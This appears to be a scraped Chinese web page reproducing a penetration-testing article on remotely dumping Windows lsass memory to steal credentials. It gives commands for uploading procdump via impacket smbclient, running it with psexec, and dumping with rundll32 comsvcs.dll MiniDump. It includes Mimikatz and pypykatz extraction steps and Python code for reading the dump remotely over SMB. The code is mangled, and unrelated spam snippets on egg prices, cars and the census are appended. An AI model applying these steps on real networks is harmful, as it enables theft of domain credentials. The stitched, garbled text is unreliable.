lsassexe是什么进程(xp出现lsass错误无法开机)
lsass exe是什么进程(xp出现lsass错误无法开机)
在企业渗透测试中,横向移动感染和权限提升是测试攻击范围和扩大攻击力的两个必选项。有多种方法可以实现其中一种,但是今天我们将介绍一种远程读取lsass转储内容的新技术,这将极大地减少在一组计算机上提取密码时的延迟和检测。
lsass.exe是一个系统重要进程,用于微软Windows系统的安全机制。它用于本地安全和登陆策略。如果结束该进程,会出现不可知的错误。注意:lsass.exe也有可能是Windang.worm、irc.ratsou.b、Webus.B、MyDoom.L、Randex.AR、Nimos.worm等病毒创建的,病毒通过软盘、群发邮件和P2P文件共享进行传播。
CrackMapExec
CrackMapExec(CME)是一款后渗透利用工具,可帮助自动化大型活动目录(AD)网络安全评估任务。该工具利用AD内置功能/协议达成其功能,并规避大多数终端防护/IDS/IPS解决方案。
CrackMapExec工具由Byt3bl33d3r开发和维护的,其目的是异步地能够在一组计算机上执行操作。该工具允许你使用域或本地帐户以及密码或LM-NT哈希在远程计算机上进行身份验证。
CrackMapExec是采用模块化方式开发的,可以创建该工具在登录到计算机时将执行的自己的模块。模块已经很多了,例如枚举不同的信息(DNS,Chrome凭据,已安装的防病毒软件)模块,BloodHound构建器的执行或在"组策略首选项"中查找凭据的模块。BloodHound是一个独立的Javascript Web应用程序,基于Linkurious构建,使用Electron编译,其中Neo4j数据库由PowerShell ingestor提供。
Mimikatz模块
特别是有一个模块,它在一段时间内非常有效,那就是Mimikatz模块。CrackMapExec在远程计算机上运行Mimikatz,以从lsass内存或本地安全权限子系统提取凭据。lsass包含所有安全服务提供者或SSP,它们是管理不同类型身份验证的数据包。出于实际原因,用户输入的凭据通常保存在这些SSP中,这样用户就不必在几秒或几分钟后再次输入它们。
这就是为什么Mimikatz提取位于这些不同ssp中的信息,就是因为试图找到一些身份验证机密,并将它们显示给攻击者。因此,如果一个权限帐户连接到其中一台受感染的主机,则Mimikatz模块允许你快速提取它的凭证,从而利用这个帐户的权限来攻击更多的目标。
但是今天,大多数杀毒软件已经可以检测到Mimikatz的存在或执行,并阻止它,所以CrackMapExec模块只是挂起,等待来自服务器的响应,但由于进程被杀死而无法获取。
手动方式:Procdump
因此,我过去常常使用名为Procdump的工具手动完成此任务。
Procdump是Sysinternals套件中的一个工具,由Marc Russinovich编写,旨在帮助系统管理员。目前,这个工具集已经被大量的管理员和开发人员采用,所以微软在2006年决定购买它,并且这些可执行文件现在已经由微软签署,因此Windows认为它们是合法的。
procdump工具就是这些工具中的一种,它的任务是转储正在运行的进程内存。它会附加到进程,读取其内存并将其写入文件。procdump--accepteula-maprocessus_dump.dmp
如前所述,Mimikatz在lsass内存中寻找凭证。因此,可以将lsass内存转储到主机上,在本地下载其转储,并使用Mimikatz提取凭据。
Procdump可用于转储lsass,因为它被认为是合法的,因此不会被视为恶意软件。
例如,使用套件impacket中的smbclient.py将procdump发送到服务器。
smbclient.pyADSEC.LOCAL/jsnow@DC01.adsec.local#useC$#cdWindows#cdTemp#putprocdump.exe
上传后,需要执行procdump来创建此lsass转储。
psexec.pyadsec.local/jsnow@DC01.adsec.local"C:\\Windows\\Temp\\procdump.exe-accepteula-malsassC:\\Windows\\Temp\\lsass.dmp"
然后,需要将转储文件下载到攻击者的主机上,并删除远程主机上的跟踪记录。
#getlsass.dmp#delprocdump.exe#dellsass.dmp
可以使用Mimikatz检索凭证:第一行加载内存转储,第二行检索秘密。
sekurlsa::minidumplsass.dmpsekurlsa::logonPasswords
该技术非常实用,因为它不会产生太多噪音,并且仅在目标主机上使用合法的可执行文件。
限制与改进
这种方法有不同的局限性,我们将在此处概述它们,并提出改进措施以解决这些问题。
Linux / Windows
第一个问题是,在测试期间,无论是用于Web测试还是用于内部测试,我主要使用Linux,而Mimikatz是专门为Windows开发的工具,最好能够在Linux计算机上执行上述攻击链。
幸运的是,Skelsec的Pypykatz项目可以帮助我们解决此问题。Skelsec在纯python中开发了Mimikatz的部分实现,这意味着跨平台。像Mimikatz一样,这个工具让我们能够提取lsass转储的秘密。
pypykatzlsaminidumplsass.dmp
由于有了这个项目,现在可以在Linux计算机上执行所有操作。上一节中介绍的所有步骤均适用,并且将lsass dump下载到攻击者的主机后,pypykatz用于从此转储中提取用户名和密码或NT哈希。
到目前为止一切顺利,让我们继续。
Windows Defender
现在说说由第二个由Windows防御程序引起的限制,尽管从Windows角度来看,procdump是值得信赖的工具,但Windows Defender认为转储lsass是可疑活动。转储过程完成后,Windows Defender会在几秒钟后删除转储。如果我们的连接性很好,并且转储不太大,则可以在将其删除之前先下载它。
这对我来说太随意了,在查看了procdump文档之后,我意识到也可以为它提供一个进程标识符(PID)。令人惊讶的是,通过为其提供lsass PID,Windows Defender不再抱怨。
此时,我们只需要使用命令tasklist查找lsass PID。>tasklist/fi"imagenameeqlsass.exe"ImageNamePIDSessionNameSession#MemUsage======================================================================== lsass.exe640Services015,584K
一旦检索到此PID,就可以将其与procdump一起使用。procdump-accepteula-ma640lsass.dmp
然后,我们有足够的时间下载转储文件,然后在本地分析它。
手动方式
发送远程主机的procdump、执行它并检索转储,这些工作都非常完美,但是这是一个非常非常慢的过程。
在本文开头,我们讨论了CrackMapExec及其模块性,这就是为什么我编写了一个模块来自动执行此"攻击"的原因。该模块会将procdump上传到目标,执行它,从lsass检索转储,然后针对CrackMapExec参数中指定的每个目标使用pypykatz对其进行分析。
该模块运行良好,但是需要很长时间才能运行。由于文件太大,有时在下载大型转储文件时甚至会超时。但是,我们需要使该过程更快。
转储文件大小
现在,借助新的CrackMapExec模块,我们可以将lsass转储到远程主机上,并在本地和自动在Linux主机上对其进行分析。但是,进程内存转储大于几个字节,甚至几个千字节。对于lsass转储,它们可以是几兆字节,甚至几十兆字节。在我的测试期间,一些转储竟超过了150MB。
如果要自动化此过程,我们将必须找到解决方案,因为在200台计算机的子网上下载lsass转储将导致下载数十G数据。一方面,这将花费很长时间,尤其是对于其他国家/地区的全球远程计算机而言,另一方面,安全团队可能会检测到异常的网络流量。
到目前为止,我们已经有了解决问题的工具,但是这次,我们将不得不手动操作。
我们将继续使用pypykatz从lsass转储中提取凭证,由于我们只希望procdump上传远程主机,因为它是由微软签署的,所以我们不能上传pypykatz。
考虑到这一点,我们将使用的方法特点如下:为了分析本地转储,pypykatz必须打开文件并以不同的偏移量读取字节。 Pypykats不会读取太多数据,它只需要读取特定偏移量的特定数据量即可。
为了提高效率,我们的想法是在远程目标上的转储上远程读取这些偏移量和这些地址,并且只下载包含预期信息的少量转储。
因此,让我们看一下pypykatz的工作原理。到目前为止,我们一直在使用的命令行如下:pypykatzlsaminidumplsass.dmp
在pypykate中,LSACMDHelper类处理lsa参数。当我们为其提供lsass转储时,将调用run()方法,这段代码可以在以下方法中找到:######Minidumpelifargs.cmd=='minidump':ifargs.directory: dir_fullpath=os.path.abspath(args.memoryfile) file_pattern='*.dmp'ifargs.recursive==True: globdata=os.path.join(dir_fullpath,'**',file_pattern) else: globdata=os.path.join(dir_fullpath,file_pattern) logging.info('Parsingfolder%s'%dir_fullpath) forfilenameinglob.glob(globdata,recursive=args.recursive): logging.info('Parsingfile%s'%filename) try: mimi=pypykatz.parse_minidump_file(filename) results[filename]=mimi exceptExceptionase: files_with_error.append(filename) logging.exception('Errorparsingfile%s'%filename) ifargs.halt_on_error==True: raisee else: pass
lsass转储解析是在以下行实现的:mimi=pypykatz.parse_minidump_file(filename)
该方法在pypykatz.py文件中定义:fromminidump.minidumpfileimportMinidumpFile""""""@staticmethoddefparse_minidump_file(filename): try: minidump=MinidumpFile.parse(filename) reader=minidump.get_reader().get_buffered_reader() sysinfo=KatzSystemInfo.from_minidump(minidump) exceptExceptionase: logger.exception('Minidumpparsingerror!') raisee try: mimi=pypykatz(reader,sysinfo) mimi.start() exceptExceptionase: #logger.info('Credentialsparsingerror!')mimi.log_basic_info()raisee returnmimi
据估计,它是minidump包中的MinidumpFile类,用于处理解析。我们需要更深入一点,专注于小型转储。
在Minidumpfile类中,解析方法描述如下:@staticmethoddefparse(filename): mf=MinidumpFile() mf.filename=filename mf.file_handle=open(filename,'rb') mf._parse() returnmf
这是我们正在寻找的代码,我们尝试分析的lsass转储被打开,然后被解析。解析仅在文件对象上使用read,seek和tell方法。
除了在远程文件上,我们只需要编写一些代码来实现这些方法即可。为此,我们将使用Impacket。""" 'open'isrewrittentoopenandreadaremotefile """classopen(object):def__init__(self,fpath,mode):domainName,userName,password,hostName,shareName,filePath=self._parseArg(fpath) """ ImpacketSMBConnexionisachildclassofimpacketwrittentosimplifythecode """self.__conn=ImpacketSMBConnexion(hostName,userName,password,domainName) self.__fpath=filePath self.__currentOffset=0self.__tid=self.__connectTree(shareName) self.__fid=self.__conn.openFile(self.__tid,self.__fpath) """ Parse"filename"toextractremotecredentialsandlsassdumplocation """def_parseArg(self,arg):pattern=re.compile(r"^(?P[a-zA-Z0-9.-_]+)/(?P[^:]+):(?P[^@]+)@(?P[a-zA-Z0-9.-]+):/(?P[^/]+)(?P/(?:[^/]*/)*[^/]+)$") matches=pattern.search(arg) ifmatchesisNone: raiseException("{}isnotvalid.Expectedformat:domain/username:password@host:/share/path/to/file".format(arg)) returnmatches.groups() defclose(self):self.__conn.close() """ Read@sizebytes """defread(self,size):ifsize==0: returnb''value=self.__conn.readFile(self.__tid,self.__fid,self.__currentOffset,size) returnvalue """ Moveoffsetpointer """defseek(self,offset,whence=0):ifwhence==0: self.__currentOffset=offset """ Returncurrentoffset """deftell(self):returnself.__currentOffset
因此,我们有了在网络共享上进行身份验证的新类,并且可以使用上述方法读取远程文件。如果我们告诉minidump使用这个类而不是传统的open方法,那么minidump会毫不犹豫地读取远程内容。
minidumpadsec.local/jsnow:Winter_is_coming_\!@DC01.adsec.local:/C$/Windows/Temp/lsass.dmp
同样,由于pypykatz使用的是minidump,所以它可以分析远程转储而不需要完全下载它。
pypykatzlsaminidumpadsec.local/jsnow:Winter_is_coming_\!@DC01.adsec.local:/C$/Windows/Temp/lsass.dmp
优化
现在,我们有了一种远程读取和分析lsass转储的方法,而不必在我们的计算机上下载完整的150MB转储,这是向前迈出的一大步!
但是,即使我们不必下载所有内容,转储也要花费很长时间,这几乎与下载整个东西一样多。这是由于每个minidump每次要读取几个字节时,都会向远程服务器发出新请求。这是非常低效的,当我们记录一些读调用时,才意识到minidump发出了许多4字节的请求。
为了克服这个问题,我实现了一个解决方案,即创建一个本地缓冲区,并在请求期间强制读取最少的字节数,以减少开销。如果一个请求需要的字节少于4096,那么我们仍然会请求4096字节,我们将在本地保存这些字节,并且我们只会将第一个字节返回给minidump。
在接下来对read函数的调用中,如果请求的数据大小在本地缓冲区中,则直接返回本地缓冲区,这要快得多。另一方面,如果数据不在缓冲区中,则将请求一个4096字节的新缓冲区。
该优化非常有效,因为minidump会执行大量并发读取。实施方法如下:defread(self,size):""" Returnanemptystringif0bytesarerequested """ifsize==0: returnb'' if(self.__buffer_data["offset"]<=self.__currentOffsetself.__currentOffset+size): """ Ifrequestedbytesareincludedinlocalbufferself.__buffer_data["buffer"],wereturnthesesbytesdirectly """value=self.__buffer_data["buffer"][self.__currentOffset-self.__buffer_data["offset"]:self.__currentOffset-self.__buffer_data["offset"]+size] else: """ Else,werequestthesebytestotheremotehost """self.__buffer_data["offset"]=self.__currentOffset """ Iftherequestasksforlessthenself.__buffer_min_sizebytes,wewillstillaskforself.__buffer_min_sizebytesandwewillsavetheminthelocalbufferfornextcalls. """ifsize<self.__buffer_min_size: value=self.__conn.readFile(self.__tid,self.__fid,self.__currentOffset,self.__buffer_min_size) self.__buffer_data["size"]=self.__buffer_min_size self.__total_read+=self.__buffer_min_size else: value=self.__conn.read(self.__tid,self.__fid,self.__currentOffset,size) self.__buffer_data["size"]=size self.__total_read+=size self.__buffer_data["buffer"]=value self.__currentOffset+=size """ Returnwhatwasasked,nomore. """returnvalue[:size]
这种优化大大节省了时间,下面是在我的计算机上做的一个基准测试:$pythonno_opti.pyFunction=minidump,Time=39.831733942$pythonopti.pyFunction=minidump,Time=0.897719860077
如果不进行此优化,则脚本将花费大约40秒钟来运行,而如果进行了优化,则将花费不到一秒钟的时间。这意味着,在小于150 MB的远程lsass转储中,提取身份验证秘密的时间不到一秒钟!
从方程式中删除Procdump
我们当前的技术是依靠Procdump转储lsass内存,但是,尽管它是由Microsoft签署的,但我发现不使用它更干净,而改用Microsoft内置工具。
C:\Windows\System32中有一个名为comsvcs.dll的DLL,它在进程崩溃时转储进程内存。该DLL包含一个名为MiniDumpW的函数,该函数已编写,因此可以使用rundll32.exe进行调用。
前两个参数未使用,但第三个参数分为三部分。第一部分是将要转储的进程ID,第二部分是转储文件位置,第三部分是单词full,没有其他选择。
一旦解析了这3个参数,基本上该DLL将创建转储文件,并将指定的进程转储到该转储文件中。
由于有了此功能,我们可以使用comsvcs.dll来转储lsass进程,而不用上传procdump并执行它。rundll32.exeC:\Windows\System32\comsvcs.dllMiniDump"lsass.dmpfull"
我们只需要记住,该技术只能作为SYSTEM执行。
CrackMapExec模块
使用此新工具,我修改了CrackMapExec模块,以便它从lsass转储中远程提取密码。
由于pypykatz和minidump仅在python3.6以前的版本中运行,而CrackMapExec尚不兼容python3,因此我目前无法发出拉取请求,也无法将pypykatz导入到我的模块中。目前,对pypykatz的调用是通过调用我的工具的新进程完成的。
mpgn正在使用适用于python 3的CrackMapexec。
新开发的工具
本文有两个我写的工具,你可以使用这个技巧:
我的Github或Pypi上都有lsassy,此工具使用DLL技术或Procdump技术使用本文中讨论的所有研究来远程转储lsass。
CrackMapExec模块允许你通过在远程主机上执行lsass转储,并使用lsassy提取登录用户的凭据来自动化整个过程。通过使用Bloodhound收集的数据,还可以检测具有攻击路径的帐户成为域管理员。
今日单县普通鸡蛋价格,鸡蛋实时价格详细鸡蛋价格请点击平台下方查价格查询。主销区。1甘肃。详细鸡蛋价格请点击平台下方查价格查询。1临汾鸡蛋价格550。最近鸡蛋价格一直升。电话禽病网鸡蛋价格行情频道讯。今日。2257广
空调如何拆装(搬家空调怎么拆装)在夏天,人们需要开空调来使用。但有的人在搬家的时候就需要把空调移机,把室内机和室外机已送到新的地方重新安装。那么到底,空调是怎么移机的?空调移机又该注意什么?空调移机方法1预备工作
铜管规格?(铜管的特点是什么?)铜管规格?(铜管的特点是什么?)铜管特点重量较轻,导热性好,低温强度高。常用于制造换热设备(如冷凝器等)。也用于制氧设备中装配低温管路。直径小的铜管常用于输送有压力的液体(如润滑系
1公斤等于多少米(1公斤铜管等于多少米)计算公式每米重量(m)0。02796壁厚()(外径壁厚)()每公斤长度(mkg)1每米重量常见钢管材重量换算圆钢每m重量0。00617直径直径方钢每m重量0。00786边宽边宽六角
今日七星铜管价格表今日铜价实时行情2天前苏宁易购综合网上购物平台,上个礼拜五1号电解铜是元每吨,废铜价格行情,伦敦布伦特纽约WTI油价比上轮调价周。今日铜更新日期名称报价区间。废铜的种类有价格很多今天,废铜回收价格
空调怎么拆(空调内机接水盘怎么拆)(此处已添加小程序,请到今日头条客户端查看)一拆装空调步骤1拆机1)收氟。开机打制冷,压缩机工作后关闭高压阀运转一分钟,关闭低压阀,停机。拔掉电源插头(切记!!!!)2)拆开室外机
奥克斯空调如何(奥克斯空调挂机怎么拆下来)空调使用时间长过滤网就会变脏,特别是用的时间比较长的老空调,这种老空调过滤网都会用很长时间也没有清洗,滤网脏的已经不成样了,那么空调过滤网应该怎么拆卸下来清洗?今天蜜罐蚁装修网小编
迈腾和帕萨特哪个好(2021款迈腾和帕萨特哪个好)作为一款中型轿车,一汽大众迈腾自推出以来,一直深得广大消费群体的,也一直受到人们的热爱,虽说一直以来的销售量都还不错,但是其实际的表现,是不是也跟销售量一样好呢?接下来的小系列就拿
迈腾帕萨特哪个好(迈腾帕萨特雅阁凯美瑞君越哪个好)国内的中型车市场已经步入了群雄争霸的时代,各大车企不断推陈出新,带来了更有竞争力的车型,而竞争的激烈也反映在了销量排名上,除开BBA等豪华品牌,雅阁迈腾和君越可谓是同级中的佼佼者,
帕萨特迈腾哪个好(帕萨特380与迈腾380哪个好)作为大众品牌核心产品,帕萨特与迈腾在全球都有着很高的知名度与销量,堪称B级车的扛把子。那么对于消费者来说,当在两款车之间面临选择时,究竟该如何取舍呢?B级车标杆在中国汽车市场上,帕
奥迪a4保养费(奥迪a4维修保养费用)奥迪a4保养费(奥迪a4维修保养费用)随着收入的增加以及生活水平的提高,很多开20万级别B级车的朋友都开始手痒痒了,想换一辆30万左右的豪华品牌车型,但是又担心买豪华品牌不仅仅是消
国家为什么鼓励生二胎(鼓励二胎政策有哪些)2020年以来,北京河北广东山西四川全国各地都有了相应的鼓励生育的政策,延长妇女育儿产假生育保险费用支付现金补贴等等。国家喊你生孩子了,各项给孕妇的福利待遇也都相应增加了,如果年龄
国家为什么鼓励生二胎(凭什么为国家生二胎)文贝贝豆育儿课堂(原创文章,欢迎转载分享)对于不少8090后来说,独生子女是这代人身上特有的印记。可随着独生子的时代淡化,二胎年代的到来。许多家庭都掀起了一股二胎潮。可还是有些家庭
为什么生二胎(特别后悔生二胎感觉想死了)文孕妈咪育儿经(原创丨欢迎转载分享)自从二胎政策开放以来,要不要生二胎两个孩子相差多少岁最好生二胎要准备多少钱等一系列话题接踵而来。但生二胎究竟是甜蜜还是负担,只有过来的爸爸妈妈才
胎检查多少钱(化验胚胎组织多少钱)大家好,我是90后宝妈一枚,现在宝宝八个多月,一直想整理一下怀孕,生产的费用成本,刚刚闲下来,现在给大家整理一下,我从怀孕到生宝宝整个孕期需要做的检查和相关费用,我是在济南省妇幼检
轮胎价格多少(轮胎换4个多少钱)汽车轮胎作为汽车的易损件之一,因为长期与地面接触摩擦造成磨损,时间一长便需要进行更换,以防止发生爆胎等情况,那么一般汽车换四个轮胎多少钱呢,下面就一起来看看吧。汽车换四个轮胎多少钱
快递自行车多少钱(自行车运费要多少钱)来源都市现场综合陕西都市青春频道转载请注明全部来源现在快递业快速发展,无论是网购,还是寄东西,下单后几天的时间就能给你送货上门。可家住陕西西安北郊的王女士想要给朋友送个自行车当作礼
年糕怎么做好吃(真空包装的年糕怎么吃)过年的时候摄入的肉类肯定有点过量,适时地吃点野菜有助肠道去去油腻,我分享给大家一道野菜鱼汤煮年糕,所用的野菜是蒲公英,蒲公英对咽喉肿痛,肠胃热滞等都有作用,含有丰富的维生素和矿物质
真空包装能保鲜多久(食品放入真空袋能保质多久)真空包装的食品随处可见,但是说到真空包装机,对于很多消费者来讲就比较陌生了,而真空包装后的食品之所以如此受欢迎,除了可以实现开袋即食的方便性之外,关键的一点就是易于存储,而这个真空
今日六福足金价格(周大福金价今日价格)包括但不,版权归属于原作者。因地域门店不同略有差异。。内地六福今日金价4800元克。白银投资网提供了今日最新黄金首饰价格多少钱一克。免责声明本站发布此文目的在于促进信息交流。产品名
新闻人口普查不登记有什么影响近日人口普查不登记有什么影响登录上了百度热搜,受到广大网友们的关注,那么关于目前的人口普查不登记有什么影响相信小伙伴们都是想要了解到最新的信息吧,小编也是在网上进行了一些整理,收集
2020年人口普查什么时候开始相信大家最近都听说了2020年人口普查的消息,也有社区工作人员陆陆续续上门登记信息,很多人对2020年人口普查的时间还不太了解,人口普查需要我们每个人的配合,所以了解2020年人口